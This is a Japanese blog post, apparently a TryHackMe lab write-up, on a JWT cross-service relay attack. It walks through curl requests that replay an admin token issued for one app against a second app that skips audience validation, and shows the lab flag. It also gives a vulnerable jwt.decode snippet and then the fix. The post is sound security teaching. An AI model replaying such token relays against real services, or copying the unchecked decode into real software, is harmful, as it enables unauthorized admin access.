0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】JWT の aud 検証ミスで別サービスの管理者になれてしまう攻撃

Last updated at Posted at 2025-11-13

はじめに

JWT を使った認証では、
「1つの認証サーバが複数のサービス(アプリ)をまとめて認証する」
という構成がよくあります。

このとき登場するのが aud(audience claim) です。

  • このトークンは どのサービス向けなのか?
  • appA 用? appB 用? それとも別サービス用?

本来は aud を見てサービス側がしっかりチェックする必要があります。
しかし、ここをちゃんと検証していないと、別サービスでトークンを「流用」されてしまう──
これが Cross-Service Relay Attack(クロスサービス・リレー攻撃) です。

この記事では、

  • aud の役割
  • Cross-Service Relay Attack の流れ
  • TryHackMe Example 7 の実際の挙動
  • 開発ミスのポイント
  • どう防ぐべきか

を整理していきます。


1. Audience Claim(aud)とは?

JWT には任意のクレームを入れられますが、その中でも

  • aud(Audience) = 「このトークンはどのサービス向け?」

という意味を持つ標準クレームがあります。

例:

{
  "username": "user",
  "admin": 1,
  "aud": "appA"
}

これは、

  • このトークンは appA 向け
  • username=user
  • admin=1(appA 上では管理者)

…という意味。

重要なのは:

aud のチェックは「認証サーバ」ではなく
各サービス(appA / appB)側でやらないといけない

認証サーバは「正しく署名された JWT」を返すだけなので、
どのサービスで使うかの最終判断は、受け取ったアプリ側の責任になります。


2. Cross-Service Relay Attack とは?

ざっくり言うと:

サービス B で「管理者」のトークンを発行してもらって、
そのトークンをサービス A にも投げてみたら、
A が aud をチェックしていないせいで、A でも管理者になれてしまう攻撃。

図でイメージする

aud を検証していないサービスに、
別サービス向けの admin トークンを「中継(Relay)」するイメージです。


3. TryHackMe Example 7 の動き整理

あなたが実際に叩いたログをベースに、攻撃の流れを分解してみます。

3.1. appA 向けでログイン(非管理者)

curl -H 'Content-Type: application/json' \
  -X POST \
  -d '{ "username" : "user", "password" : "password7","application" : "appA"}' \
  http://MACHINE/api/v1.0/example7

レスポンス:

{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MCwiYXVkIjoiYXBwQSJ9.sl-84cMLYjxsD7SCySnnv3J9AMII9NKgz0-0vcak9t4"
}

デコードすると:

// header
{
  "typ": "JWT",
  "alg": "HS256"
}

// payload
{
  "username": "user",
  "admin": 0,
  "aud": "appA"
}

このトークンを example7_appB に投げると…

curl -H 'Authorization: Bearer <appAトークン>' \
  'http://MACHINE/api/v1.0/example7_appB?username=user'

レスポンス:

{
  "message": "JWT could not be read: Invalid audience"
}

appB は aud="appA" を見て、ちゃんと弾いている
aud 検証は OK。


3.2. appB 向けでログイン(管理者)

次に appB 向けとしてログイン:

curl -H 'Content-Type: application/json' \
  -X POST \
  -d '{ "username" : "user", "password" : "password7","application" : "appB"}' \
  http://MACHINE/api/v1.0/example7

レスポンス:

{
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o"
}

payload を見ると:

{
  "username": "user",
  "admin": 1,
  "aud": "appB"
}

つまり:

  • appB では admin:1(管理者)
  • aud は appB 向け

これを正しく appB に投げると:

curl -H 'Authorization: Bearer <appBトークン>' \
  'http://MACHINE/api/v1.0/example7_appB?username=admin'

レスポンス:

{
  "message": "Welcome admin, you are an admin, but there is no flag for you here"
}

appB では確かに admin。
でも flag はここにはない。


3.3. appB 向けトークンを appA に投げる(Cross-Service Relay)

ここが本番。

curl -H 'Authorization: Bearer <appBトークン>' \
  'http://MACHINE/api/v1.0/example7_appA?username=admin'

レスポンス:

{
  "message": "Welcome admin, you are an admin, here is your flag: THM{f0d34fe1-2ba1-44d4-bae7-99bd555a4128}"
}

何が起きているか?

  • トークンの aud"appB"
  • 本来なら appA 側は「appB 向けトークン」を拒否すべき
  • しかし appA は aud を検証していない
  • そのため admin:1 だけ見て、appA でも管理者として扱ってしまった

これがそのまま Cross-Service Relay Attack 成功パターン です。


4. 開発上のミスはどこか?

ミスはシンプルにこれです:

appA が aud クレームを検証していない(または緩すぎる)

appB はちゃんと aud="appB" 以外を拒否しているのに、
appA が署名だけ見て満足してしまっている状態。

擬似コードで書くと:

# appA のダメな例(aud 検証なし)
payload = jwt.decode(token, self.secret, algorithms=["HS256"])
username = payload["username"]
admin = payload["admin"]

これだと aud"appB" が入っていても普通に通ってしまいます。


5. 防御策:audience の厳格検証

正しい実装はこうなります:

payload = jwt.decode(
    token,
    self.secret,
    audience=["appA"],   # ← ここが超重要
    algorithms=["HS256"]
)

ポイント:

  • サービスごとに期待する aud を固定する
    • appA → aud=["appA"]
    • appB → aud=["appB"]
  • 「とりあえず aud 無視」は絶対にNG
  • 「すべてのアプリを aud=["*"] で通す」みたいな実装も危険

SSO/中央認証をやる場合こそ、
「どのサービス向けのトークンか」をサービス側で必ずチェックする必要があります。


まとめ

  • JWT は 1つの認証基盤で複数アプリを守る用途によく使われる
  • そのとき aud(audience)で「どのアプリ向けか」を区別する
  • aud を検証していないアプリでは、
    • 別サービス向けの管理者トークンが「流用」される
    • → Cross-Service Relay Attack が成立する
  • TryHackMe Example 7 では、
    • appB 向け admin:1, aud:"appB" トークンを
    • appA に投げることで flag を取得できた
    • 理由:appA が aud を見ていない
  • 防御策:
    • 各アプリが aud を厳格に検証する
    • jwt.decode(..., audience=["appA"], ...) のようにサービスごとに固定する

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?